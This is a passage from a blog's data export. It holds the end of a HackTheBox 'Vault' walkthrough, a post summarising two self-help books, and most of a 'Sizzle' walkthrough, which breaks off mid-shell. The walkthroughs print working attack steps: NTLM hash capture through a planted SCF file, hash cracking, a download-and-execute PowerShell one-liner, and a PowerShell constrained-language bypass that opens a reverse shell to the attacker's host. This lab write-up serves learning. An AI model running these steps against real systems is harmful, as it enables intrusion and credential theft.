15:07:21 DNS sshd[1566]: Disconnected from 192.168.5.2 port 4444 /var/log/auth.log:Sep 2 15:07:51 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/nmap 192.168.5.2 -Pn --source-port=4444 -f /var/log/auth.log:Sep 2 15:10:20 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 1234 --sh-exec ncat 192.168.5.2 987 -p 53 /var/log/auth.log:Sep 2 15:10:34 DNS sudo: dave : TTY=pts/0 ; PWD=/home/dave ; USER=root ; COMMAND=/usr/bin/ncat -l 3333 --sh-exec ncat 192.168.5.2 987 -p 53 Searching for any IP addresses in the 192.168.5.0/24 range in all files under /var/log, we find very interesting records in /var/log/auth.log. Specifically, above, we can see that a couple of commands have been run as root. Nmap has been run with the flag --source-port=4444, and ncat has been run with the flags -l 1234 and --sh-exec ncat 192.168.5.2 987 -p 53. Looking at ncat\u0026rsquo;s man page, we see that ncat is listening on port 1234, and once that has been established, another ncat process is executed to connect to port 987 on 192.168.5.2 with a source port of 53.\nNoting that both ncat and nmap commands were run with specific source ports, and that we were unable to find any ports open on 192.168.5.2 with our own scanning of nmap, it can be assumed that the gateway in the middle actually prevents any connections to the 192.168.5.0/24 network unless they come from source ports like 53 and 4444.\nTo test our assumption, we connect to the port that was connected to in the above commands using ncat with a source port of 4444:\nroot@DNS:/home/dave# ncat -p 4444 192.168.5.2 987 SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4 Awesome! We see that a SSH server is actually running on port 987 on 192.168.5.2. Next, we can try some of the credentials we already have like dave:Dav3therav3123 or dave:dav3gerous567. We setup a local listening port to forward connections to the SSH server from a source port of 53, and we successfully login with the credentials dave:dav3gerous567:\nroot@DNS:/home/dave# /usr/bin/ncat -l 1234 --sh-exec \u0026#34;ncat 192.168.5.2 987 -p 53\u0026#34; root@DNS:~$ ssh dave@127.0.0.1 -p1234 The authenticity of host \u0026#39;[127.0.0.1]:1234 ([127.0.0.1]:1234)\u0026#39; can\u0026#39;t be established. ECDSA key fingerprint is SHA256:Wo70Zou+Hq5m/+G2vuKwUnJQ4Rwbzlqhq2e1JBdjEsg. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added \u0026#39;[127.0.0.1]:1234\u0026#39; (ECDSA) to the list of known hosts. dave@127.0.0.1\u0026#39;s password: Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686) Last login: Mon Sep 3 16:48:00 2018 dave@vault:~$ id uid=1001(dave) gid=1001(dave) groups=1001(dave) We have a shell as dave on Vault! However, when looking around, we STILL don\u0026rsquo;t have root.txt!\nWe do however find the following file on dave\u0026rsquo;s home folder:\ndave@vault:~$ cat root.txt.gpg | base32 QUBAYA6HPDDBBUPLD4BQCEAAUCMOVUY2GZXH4SL5RXIOQQYVMY4TAUFOZE64YFASXVITKTD56JHDLIHBLW3OQMKSHQDUTH3R6QKT3MUYPL32DYMUVFHTWRVO5Q3YLSY2R4K3RUOYE5YKCP2PAX7S7OJBGMJKKZNW6AVN6WGQNV5FISANQDCYJI656WFAQCIIHXCQCTJXBEBHNHGQIMTF4UAQZXICNPCRCT55AUMRZJEQ2KSYK7C3MIIH7Z7MTYOXRBOHHG2XMUDFPUTD5UXFYGCWKJVOGGBJK56OPHE25OKUQCRGVEVINLLC3PZEIAF6KSLVSOLKZ5DWWU34FH36HGPRFSWRIJPRGS4TJOQC3ZSWTXYPORPUFWEHEDOEOPWHH42565HTDUZ6DPJUIX243DQ45HFPLMYTTUW4UVGBWZ4IVV33LYYIB32QO3ONOHPN5HRCYYFECKYNUVSGMHZINOAPEIDO7RXRVBKMHASOS6WH5KOP2XIV4EGBJGM4E6ZSHXIWSG6EM6ODQHRWOAB3AGSLQ5ZHJBPDQ6LQ2PVUMJPWD2N32FSVCEAXP737LZ56TTDJNZN6J6OWZRTP6PBOERHXMQ3ZMYJIUWQF5GXGYOYAZ3MCF75KFJTQAU7D6FFWDBVQQJYQR6FNCH3M3Z5B4MXV7B3ZW4NX5UHZJ5STMCTDZY6SPTKQT6G5VTCG6UWOMK3RYKMPA2YTPKVWVNMTC62Q4E6CZWQAPBFU7NM652O2DROUUPLSHYDZ6SZSO72GCDMASI2X3NGDCGRTHQSD5NVYENRSEJBBCWAZTVO33IIRZ5RLTBVR7R4LKKIBZOVUSW36G37M6PD5EZABOBCHNOQL2HV27MMSK3TSQJ4462INFAB6OS7XCSMBONZZ26EZJTC5P42BGMXHE27464GCANQCRUWO5MEZEFU2KVDHUZRMJ6ABNAEEVIH4SS65JXTGKYLE7ED4C3UV66ALCMC767DKJTBKTTAX3UIRVNBQMYRI7XY= It looks like this file has been encrypted with GPG encryption. I\u0026rsquo;ve converted it to base64 so it is converted to printable characters.\nTo decrypt this .gpg file, I will need a GPG private key, but I haven\u0026rsquo;t noticed any so far. My best bet is to look around on the multiple hosts that I have compromised to see if I can find any stored GPG keys.\nTo my luck, I find the first host that I compromised has a GPG key!\ndave@ubuntu:~$ gpg --list-keys /home/dave/.gnupg/pubring.gpg pub 4096R/0FDFBFE4 2018-07-24 uid david sub 4096R/D1EB1F03 2018-07-24 This GPG key is of course encrypted, so we cannot use it to decrypt root.txt without a password. After trying all the password looking strings that we have found above, I find that the password of itscominghome works for unlocking the GPG private key!\nWe then use the following commands to decrypt root.txt:\ndave@ubuntu:~/Documents$ base32 -d blah.32 \u0026gt; blah dave@ubuntu:~/Documents$ gpg -d blah You need a passphrase to unlock the secret key for user: \u0026#34;david \u0026lt;dave@david.com\u0026gt;\u0026#34; 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 \u0026#34;david \u0026lt;dave@david.com\u0026gt;\u0026#34; ca46837************************* And that\u0026rsquo;s root.txt! Thank you to @nol0gz for creating this interesting box!\nLive and Learn!\n","date":"20 February 2023","externalUrl":null,"permalink":"/posts/hack-the-box-vault/","section":"Posts","summary":"My write-up for the HackTheBox box named Vault","title":"HackTheBox Write-up: Vault","type":"posts"},{"content":"","date":"20 February 2023","externalUrl":null,"permalink":"/tags/redcross/","section":"Tags","summary":"","title":"Redcross","type":"tags"},{"content":"","date":"20 February 2023","externalUrl":null,"permalink":"/tags/vault/","section":"Tags","summary":"","title":"Vault","type":"tags"},{"content":"I decided to change up my blog posts a bit. This time, I wanted to talk about general life principles that I like to follow. Both of the following are self help books, and both provide great tips for leading a happy and purposeful life. I learnt a lot from both of them, and so I\u0026rsquo;ve decided to summarise the books below.\n12 Rules for Life by Jordan Peterson # This book mentions 12 rules Jordan Peterson has proposed to life a successful and happy life. The rules are as follows:\nStand up straight with your shoulders back. This rule is about performing a particular action to help the individual gain confidence, and additionally has the side effect of improving blood flow and energy through your body. Treat yourself like someone you are responsible for helping. If you treat yourself like a burden, then you will become a burden. If you take responsibility for making changes in your life, you will be able to take steps towards your goals. Make friends with people who want the best for you. It may be difficult to tell what their intentions are, but find someone who challenges you to be your best self, even if that involves simply hanging around them. Compare yourself to who you were yesterday, not to who someone else is today. Bargain with yourself to make small positive changes and keep doing it. Comparing with others will only bring sadness. Do not let your children do anything that makes you dislike them. Discipline them and reward good behaviour. Make sure they understand it\u0026rsquo;s for their own good. Set your house in perfect order before you criticise the world. Living in chaos will only distort your own priorities. Tackling the little things first will help you get better at tackling the big things. Pursue what is meaningful (not what is expedient). Find a purpose in helping others, do not cause others to suffer for your own benefit, give yourself a higher goal for which there may be no easy path. Tell the truth - or at least don\u0026rsquo;t lie. Maybe just white lies ;) the truth will set you free Assume that the person you are listening to might know something you don\u0026rsquo;t. Sit down\u0026hellip; Be humble\u0026hellip;..you may just improve your own life. Be precise in your speech. Bring out what irritates you and discuss, don\u0026rsquo;t hold it in. Use your speech to convey your opinions and don\u0026rsquo;t put down others while doing it. Do not bother children when they are skateboarding. Let your kids / followers interact with the world, don\u0026rsquo;t be overprotective, allow them to learn from their own mistakes. Pet a cat when you encounter one on the street. Don\u0026rsquo;t let life grind you down, take time to smell the roses. Principles for Success by Ray Dalio # Ray Dalio presents principles which have helped make him successful. He made his principles by mostly making mistakes and reflecting on them, and then realised that the quality of his life would be highly dependent upon the decisions he made through his life. A great video summary of his book can be found here: https://www.youtube.com/watch?v=B9XGUpQZY38\nMy personal summary is as follows:\nYou need to think for yourself about what is true. Truth is the essential foundation for producing good outcomes. Embrace reality and deal with it. Ray feared boredom and mediocrity more than he feared failure. Run, go after what you want, crash, get up, run, go after what you want, crash, get up and repeat. Learn to love the crashing process. Without pursuing dreams, life is mundane. Pursue your dreams, but be a realist and deal with your surroundings not with what you wish they were. Dreams + Reality + Determination = a successful life Face your weaknesses, mistakes and problems head on. These may cause you a lot of pain at first, but look at them from a different point of view will help you face them and improve next time. Pain + Reflection = Progress Know your goals and run after them \u0026gt; encounter problems that stand in your way \u0026gt; diagnose these problems to get at their root causes \u0026gt; design a plan to eliminate the problems \u0026gt; execute those designs and push yourself towards progression Risk crossing the jungle in pursuit of the best life possible Awareness is light. Live and Learn!\n","date":"28 January 2023","externalUrl":null,"permalink":"/posts/12-rules-of-life-principles-of-success/","section":"Posts","summary":"A summary of two great books","title":"12 Rules of Life and Principles for Success","type":"posts"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/book/","section":"Tags","summary":"","title":"Book","type":"tags"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/defense/","section":"Tags","summary":"","title":"Defense","type":"tags"},{"content":"","date":"28 January 2023","externalUrl":null,"permalink":"/tags/dma/","section":"Tags","summary":"","title":"Dma","type":"tags"},{"content":"This is my write-up for the HackTheBox Machine named Sizzle. I have to give a large thanks to the creators of the machine who have put a lot of effort into it, and allowed me and many others to learn a tremendous amount.\nLet\u0026rsquo;s get straight into it!\nEnumeration # A TCP scan on all ports reveals the following ports as open: 21,53,80,135,139,389,443,445,464,593,636,3268,3269,5986,9389,47001\nSo let\u0026rsquo;s do a version scan on all these ports:\n$ nmap 10.10.10.103 -sV -p21,53,80,135,139,389,443,445,464,593,636,3268,3269,5986,9389,47001 Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-20 13:55 AEDT Nmap scan report for 10.10.10.103 Host is up (0.59s latency). PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd 53/tcp open domain? 80/tcp open http Microsoft IIS httpd 10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) 443/tcp open ssl/http Microsoft IIS httpd 10.0 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) 3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: HTB.LOCAL, Site: Default-First-Site-Name) 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 9389/tcp open mc-nmf .NET Message Framing 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.70%I=7%D=2/20%Time=5C6CC1BB%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,\u0026#34;\\0\\x1e\\0\\x06\\x81\\x04\\0\\x01\\0\\0\\0\\0\\0\\0\\x07version\\ SF:x04bind\\0\\0\\x10\\0\\x03\u0026#34;); Service Info: Host: SIZZLE; OS: Windows; CPE: cpe:/o:microsoft:windows OK, so at first glance, we can see a HTTP(S) server running, an FTP server running, an LDAP and SMB server, and a bunch of other Windows related services.\nLet\u0026rsquo;s start with an enumeration of SMB shares using an anonymous login:\n$ smbclient -L ////10.10.10.103// -U anonymous -N Sharename Type Comment ADMIN$ Disk Remote Admin C$ Disk Default share CertEnroll Disk Active Directory Certificate Services share Department Shares Disk IPC$ IPC Remote IPC NETLOGON Disk Logon server share Operations Disk SYSVOL Disk Logon server share So we have a few non-standard shares available to us, including \u0026ldquo;CertEnroll\u0026rdquo;, \u0026ldquo;Operations\u0026rdquo; and \u0026ldquo;Department Shares\u0026rdquo;.\nLet\u0026rsquo;s enumerate HTTP(S) next:\n$ gobuster -u \u0026#34;http://10.10.10.103\u0026#34; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt /images (Status: 301) /Images (Status: 301) /IMAGES (Status: 301) $ gobuster -u \u0026#34;https://10.10.10.103\u0026#34; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k /images (Status: 301) /Images (Status: 301) /IMAGES (Status: 301) Hmmm nothing useful here. Visiting the home page of http://10.10.10.103 simply shows a GIF of some meat sizzling on a hot surface.\nFinally, to finalize the enumeration step, let\u0026rsquo;s enumerate the FTP server:\n$ ftp 10.10.10.103 Connected to 10.10.10.103. 220 Microsoft FTP Service Name (10.10.10.103:root): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp\u0026gt; ls -al 200 PORT command successful. 125 Data connection already open; Transfer starting. 226 Transfer complete. ftp\u0026gt; put test.txt local: test.txt remote: test.txt 200 PORT command successful. 550 Access is denied. We find no files publicly available on the FTP server, and get an Access Denied error when trying to upload files.\nGaining an initial foothold # Unfortunately, this is where I was stuck for a while. I enumerated the different SMB shares and the files and folders inside but found nothing that stood out for initial compromise. The following folders were found in the Department Shares share:\n$ smbclient \\\\\\\\10.10.10.103\\\\Department\\ Shares -U anonymous -N Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . D 0 Wed Jul 4 01:22:32 2018 .. D 0 Wed Jul 4 01:22:32 2018 Accounting D 0 Tue Jul 3 05:21:43 2018 Audit D 0 Tue Jul 3 05:14:28 2018 Banking D 0 Wed Jul 4 01:22:39 2018 CEO_protected D 0 Tue Jul 3 05:15:01 2018 Devops D 0 Tue Jul 3 05:19:33 2018 Finance D 0 Tue Jul 3 05:11:57 2018 HR D 0 Tue Jul 3 05:16:11 2018 Infosec D 0 Tue Jul 3 05:14:24 2018 Infrastructure D 0 Tue Jul 3 05:13:59 2018 IT D 0 Tue Jul 3 05:12:04 2018 Legal D 0 Tue Jul 3 05:12:09 2018 M\u0026amp;A D 0 Tue Jul 3 05:15:25 2018 Marketing D 0 Tue Jul 3 05:14:43 2018 R\u0026amp;D D 0 Tue Jul 3 05:11:47 2018 Sales D 0 Tue Jul 3 05:14:37 2018 Security D 0 Tue Jul 3 05:21:47 2018 Tax D 0 Tue Jul 3 05:16:54 2018 Users D 0 Wed Jul 11 07:39:32 2018 ZZ_ARCHIVE D 0 Mon Mar 25 12:21:35 2019 7779839 blocks of size 4096. 2474839 blocks available In the Users directory, we find:\nsmb: \\\u0026gt; cd Users smb: \\Users\\\u0026gt; ls . D 0 Wed Jul 11 07:39:32 2018 .. D 0 Wed Jul 11 07:39:32 2018 amanda D 0 Tue Jul 3 05:18:43 2018 amanda_adm D 0 Tue Jul 3 05:19:06 2018 bill D 0 Tue Jul 3 05:18:28 2018 bob D 0 Tue Jul 3 05:18:31 2018 chris D 0 Tue Jul 3 05:19:14 2018 henry D 0 Tue Jul 3 05:18:39 2018 joe D 0 Tue Jul 3 05:18:34 2018 jose D 0 Tue Jul 3 05:18:53 2018 lkys37en D 0 Wed Jul 11 07:39:04 2018 morgan D 0 Tue Jul 3 05:18:48 2018 mrb3n D 0 Tue Jul 3 05:19:20 2018 Public D 0 Wed Sep 26 15:45:32 2018 7779839 blocks of size 4096. 2474835 blocks available So we now have a bunch of usernames we can use for future steps i.e. amanda, amanda_adm, bill, bob, chris, henry, joe, jose, lkys37en, morgan and mrb3n. We additionally have a Public folder in the Users folder. Thinking about what user the FTP server is running as, it may be possible that we have write privileges to a Public folder. It is likely that the FTP server is running with least level privileges, but that any user is able to write to a Public folder. We try to place a test.txt file to test this hypothesis:\nsmb: \\Users\\Public\\\u0026gt; put test.txt putting file test.txt as \\Users\\Public\\test.txt (0.0 kb/s) (average 0.0 kb/s) smb: \\Users\\Public\\\u0026gt; ls . D 0 Wed Feb 20 17:12:50 2019 .. D 0 Wed Feb 20 17:12:50 2019 test.txt A 4 Wed Feb 20 17:12:51 2019 Perfect! Looks like we have write access to this folder! Now we need to figure out what exploit we can use in such a situation. Googling for \u0026ldquo;smb share write access exploit\u0026rdquo; leads us to the following article: https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/\nThe SCF attack involves using placing a specially crafted SCF file on the shared drive. Then the attack requires that a user on the machine open the folder. From the website above: \u0026quot;When the user will browse the share a connection will established automatically from his system to the UNC path that is contained inside the SCF file.\u0026quot; If this is the actual intended vulnerability for initial compromise, then there must be a script running on Sizzle that opens the Public folder. Let\u0026rsquo;s try out the attack and see!\nFirst, we create a SCF file as follows, where 10.10.15.30 is my tun0 IP address:\n$ cat @mytest.scf [Shell] Command=2 IconFile=\\\\10.10.15.30\\share\\pentestlab.ico [Taskbar] Command=ToggleDesktop Note that the SCF filename starts with the @ character so that it comes up as the first file when viewed in a directory browser. We then start responder on our attacker machine to listen for any connections (and credentials):\n$ responder -I tun0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR \u0026amp; MDNS Responder 2.3.3.9 Author: Laurent Gaffie (laurent.gaffie@gmail.com) To kill this script hit CRTL-C [+] Listening for events... We then upload the SCF file to the Public folder:\n$ smbclient \\\\\\\\10.10.10.103\\\\Department\\ Shares -U anonymous -N smb: \\\u0026gt; cd Users\\Public smb: \\Users\\Public\\\u0026gt; put @mytest.scf putting file @mytest.scf as \\Users\\Public\\@mytest.scf (0.1 kb/s) (average 0.1 kb/s) Waiting a minute or two, we receive a hash:\n$ responder -I tun0 [SMBv2] NTLMv2-SSP Client : 10.10.10.103 [SMBv2] NTLMv2-SSP Username : HTB\\amanda [SMBv2] NTLMv2-SSP Hash : amanda::HTB:a54c47483fcc6a20:CE16D8EC24B20C8B9D347AAC24EA327D:0101000000000000C0653150DE09D20122CDF94B8B490287000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000E2474A4FC02AD635EC39F0E6F8D60B331F2A24C61353E30C14190A558728F30C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310037003100000000000000000000000000 Great! We now have HTB\\amanda\u0026rsquo;s hash! Let\u0026rsquo;s try crack it! We\u0026rsquo;ll just use the common rockyou.txt wordlist:\n$ cat hash amanda::HTB:a54c47483fcc6a20:CE16D8EC24B20C8B9D347AAC24EA327D:0101000000000000C0653150DE09D20122CDF94B8B490287000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000100000000200000E2474A4FC02AD635EC39F0E6F8D60B331F2A24C61353E30C14190A558728F30C0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E00310037003100000000000000000000000000 $ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=netntlmv2 Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status Ashare1972 (amanda) Woot! We have our first credentials!\nNow to figure out where to use them\u0026hellip;\nWe try Impacket\u0026rsquo;s psexec.py, but unfortunately we don\u0026rsquo;t find any share that is writable by amanda:\n$ psexec.py HTB/amanda@10.10.10.103 dir Impacket v0.9.13 - Copyright 2002-2015 Core Security Technologies Password: [*] Trying protocol 445/SMB... [*] Requesting shares on 10.10.10.103..... [-] share \u0026#39;ADMIN$\u0026#39; is not writable. [-] share \u0026#39;C$\u0026#39; is not writable. [-] share \u0026#39;CertEnroll\u0026#39; is not writable. [-] share \u0026#39;Department Shares\u0026#39; is not writable. [-] share \u0026#39;NETLOGON\u0026#39; is not writable. [-] share \u0026#39;Operations\u0026#39; is not writable. [-] share \u0026#39;SYSVOL\u0026#39; is not writable. Looking through all the open ports again, we could possibly try amanda\u0026rsquo;s credentials on the FTP server, or look at the other windows services such as LDAP on port 3268 or WinRM on port 5968.\nGetting a shell # I\u0026rsquo;ll save the trouble and skip to what actually worked. It took a lot of researching, but I eventually found some very interesting ways to authenticate and interact with WinRM from a linux machine:\nhttps://blog.rapid7.com/2012/11/08/abusing-windows-remote-management-winrm-with-metasploit/ https://4sysops.com/archives/powershell-remoting-between-windows-and-linux/ https://github.com/masterzen/winrm-cli But I faced problems with all of these! For example powershell on linux and winrm-cli both seemed to only support basic auth, not NTLM auth: https://www.reddit.com/r/PowerShell/comments/6q2vs9/how_to_connect_to_winrm_powershell_from_linux/\nThere may be a way to use powershell on linux with NTLM auth, but it looks painful: https://www.reddit.com/r/PowerShell/comments/6itek2/powershell_remoting_linux_windows_with_spnego/dkahvnf/\nI then also realised that the nmap results for port 5968 mentioned that the service was using SSL. So my WinRM client would also have to support SSL.\nGoogling for \u0026ldquo;winrm https client linux\u0026rdquo;, I find the following link: https://krash.be/node/29 Here, the writer recommends using a Ruby Gem called winrm for connecting to WinRM from Linux to Windows. This page has great documentation on writing a client as well, so we set one up using the credentials we have as follows:\n$ cat https-amanda-winrm.rb require \u0026#39;winrm\u0026#39; opts = { endpoint: \u0026#39;https://10.10.10.103:5986/wsman\u0026#39;, user: \u0026#39;amanda\u0026#39;, password: \u0026#39;Ashare1972\u0026#39; } conn = WinRM::Connection.new(opts) conn.shell(:powershell) do |shell| output = shell.run(\u0026#39;$PSVersionTable\u0026#39;) do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end puts \u0026#34;The script exited with exit code #{output.exitcode}\u0026#34; end Running this script gives me the following error:\n$ ruby https-amanda-winrm.rb /usr/lib/ruby/vendor_ruby/httpclient/ssl_socket.rb:103:in `connect\u0026#39;: SSL_connect returned=1 errno=0 state=error: certificate verify failed (unable to get local issuer certificate) (OpenSSL::SSL::SSLError) Googling this error, we find that the cause is \u0026ldquo;when a self-signed certificate cannot be verified\u0026rdquo;, from here.\nAdditionally, doing a little more research on WinRM with SSL leads us to the following article from Microsoft: https://support.microsoft.com/en-au/help/2019527/how-to-configure-winrm-for-https\nWhat\u0026rsquo;s important to us is the following line: \u0026ldquo;If you have a Microsoft Certificate server you may be able to request a certificate using the web certificate template from HTTPS://\u0026lt;MyDomainCertificateServer\u0026gt;/certsrv\u0026quot;\nSo to summarise, we may need a signed certificate to authenticate, and a Microsoft certificate server can be used to request a certificate.\nWhen we try visiting http://10.10.10.103/certsrv we actually find that we are provided with a popup asking for credentials. We enter amanda\u0026rsquo;s credentials and are presented with a web page we haven\u0026rsquo;t seen before. It looks like we can use this page to request a certificate! It\u0026rsquo;s odd that we didn\u0026rsquo;t pick up this site before though. (Turned out that certsrv is not in the directory-list-2.3-medium.txt wordlist, but is in dirb\u0026rsquo;s common.txt wordlist - I\u0026rsquo;ve put this in my \u0026ldquo;General approach\u0026rdquo; cheatsheet for the future!)\nWhen we go to \u0026ldquo;Request a Certificate\u0026rdquo; and then to \u0026ldquo;Advanced certificate request\u0026rdquo; we see that we can submit a Certificate Signing Request (CSR) to have our private key signed by the server. The advanced certificate request page is at: http://10.10.10.103/certsrv/certrqxt.asp\nWe can create our own private key with a CSR using the following command:\n$ openssl req -new -newkey rsa:2048 -nodes -out dev.csr -keyout dev.key The above command outputs a private key (dev.key) and a CSR (dev.csr). We can submit the contents of the CSR (including the header and footer) to the Advanced Certificate Request page, and the server will create a certificate for us with a signature approving our private key. We retrieve certnew.cer from the server and now should be able to use this for authentication to WinRM. Note that because we logged in to the certsrv portal with amanda\u0026rsquo;s credentials, the private key should now be linked with amanda\u0026rsquo;s account.\nReferencing code from the Ruby gem\u0026rsquo;s page again, we set up the following code for authenticating to WinRM using a private key and certificate:\n$ cat shell-winrm.rb require \u0026#39;winrm\u0026#39; opts = { endpoint: \u0026#39;https://10.10.10.103:5986/wsman\u0026#39;, transport: :ssl, :client_cert =\u0026gt; \u0026#39;certnew.cer\u0026#39;, :client_key =\u0026gt; \u0026#39;dev.key\u0026#39;, :no_ssl_peer_verification =\u0026gt; true } command=\u0026#34;\u0026#34; conn = WinRM::Connection.new(opts) conn.shell(:powershell) do |shell| until command == \u0026#34;exit\\n\u0026#34; do print \u0026#34;PS \u0026gt; \u0026#34; command = gets output = shell.run(command) do |stdout, stderr| STDOUT.print stdout STDERR.print stderr end end puts \u0026#34;Exiting with code #{output.exitcode}\u0026#34; end Running this code we get our first shell!\n$ ruby shell-winrm.rb PS \u0026gt; whoami htb\\amanda Lateral Movement via Kerberoasting # OK although we did all that work to get our first shell, unfortunately we still don\u0026rsquo;t have user.txt! Looking around in Amanda\u0026rsquo;s desktop, Documents folder, and Downloads folder, we find nothing of interest.\nLet\u0026rsquo;s do some enumeration, starting with systeminfo and looking at the list of other users on the system:\n$ ruby shell-winrm.rb PS \u0026gt; whoami htb\\amanda PS \u0026gt; systeminfo Program \u0026#39;systeminfo.exe\u0026#39; failed to run: Access is deniedAt line:1 char:1 PS \u0026gt; net user User accounts for \\\\ ------------------------------------------------------------------------------- Administrator amanda DefaultAccount Guest krbtgt mrlky sizzler The command completed with one or more errors. Interestingly, we aren\u0026rsquo;t allowed to run systeminfo! However, there is a user called sizzler, and another one called krbtgt which straight away stick out. The sizzler account is similar to the name of the machine, and the krbtgt user means that Kerberos authentication is most likely enabled. From our perspective, it means Kerberoasting may be an option to laterally compromise another user.\nI would recommend Tim Medin\u0026rsquo;s talk on Kerberoasting as it explains exactly how it works. His slides are also available online. To put it simply, Kerberoasting involves requesting kerberos tickets for services. Part of these tickets may be encrypted with the RC4 algorithm where the private key is the \u0026ldquo;Kerberos TGS-REP etype 23 hash of the service account associated with the SPN\u0026rdquo;. More details can be found on the MITRE ATT\u0026amp;CK page here. If there is an account associated with an SPN, and has a weak password, we may be able to crack its hash and get back the password for that service account.\nTo start with, we can try to import PowerView into powershell to allow us to use the Invoke-Kerberoast function. PowerView started supporting Kerberoasting a few years ago. So let\u0026rsquo;s try downloading the PowerView.PS1 script onto the box with powershell and then importing it. We can use $ python -m SimpleHTTPServer 8081 to start a web server to serve our scripts, and we can get PowerView.PS1 from the PowerSploit github repo. Note that the main branch version doesn\u0026rsquo;t have Invoke-Kerberoast as yet, but the one I linked does. Our result is as follows:\n$ ruby shell-winrm.rb PS \u0026gt; Invoke-WebRequest -Uri \u0026#34;http://10.10.15.30:8081/PowerView.ps1\u0026#34; -OutFile \u0026#34;C:\\Users\\amanda\\Documents\\PV.ps1\u0026#34; PS \u0026gt; Import-Module C:\\Users\\amanda\\Documents\\PV.ps1 Importing *.ps1 files as modules is not allowed in ConstrainedLanguage mode. At line:1 char:1 + Import-Module C:\\Users\\amanda\\Documents\\PV.ps1 + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (:) [Import-Module], InvalidOperationException + FullyQualifiedErrorId : Modules_ImportPSFileNotAllowedInConstrainedLanguage,Microsoft.PowerShell.Commands.ImportModuleCommand Unfortunately, we get a permission denied error when trying to import PowerView. The error is caused by a feature of PowerShell called \u0026ldquo;Constrained Language Mode\u0026rdquo;, where not all powershell features are allowed to be performed.\nI know there is also a way to directly download and import the PS1 script into memory without needing to store the PS1 file on disk, so we can try that too:\nPS \u0026gt; iex (new-object net.webclient).DownloadString(\u0026#39;http://10.10.15.30:8081/PowerView.ps1\u0026#39;) Cannot create type. Only core types are supported in this language mode. At line:1 char:6 + iex (new-object net.webclient).DownloadString(\u0026#39;http://10.10.15.30:808 ... + ~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (:) [New-Object], PSNotSupportedException + FullyQualifiedErrorId : CannotCreateTypeConstrainedLanguage,Microsoft.PowerShell.Commands.NewObjectCommand That didn\u0026rsquo;t work either! Looks like we will have to bypass powershell constrained mode first before moving forward.\nResearching a bit on bypassing powershell constrained mode, we find two common ways to bypass it:\nUse powershell -v2 to spawn a new process with a downgraded version of powershell which doesnt support constrained mode Use padovah4ck\u0026rsquo;s executable for bypassing constrained mode and getting a shell with full language mode enabled Let\u0026rsquo;s git clone padovahh4ck\u0026rsquo;s repo and run the following commands to get ourselves a reverse shell with powershell full language mode:\nPS \u0026gt; Invoke-WebRequest -Uri \u0026#34;http://10.10.15.30:8081/PSByPassCLM/PSBypassCLM/PSBypassCLM/bin/x64/Debug/PsBypassCLM.exe\u0026#34; -OutFile \u0026#34;C:\\Users\\amanda\\Documents\\bp.exe\u0026#34; PS \u0026gt; C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.15.30 /rport=443 /U C:\\Users\\amanda\\Documents\\bp.exe And we get a shell on port 443:\n$ nc -nvlp 443 listening on [any] 443 ... connect to [10.10.15.30] from (UNKNOWN) 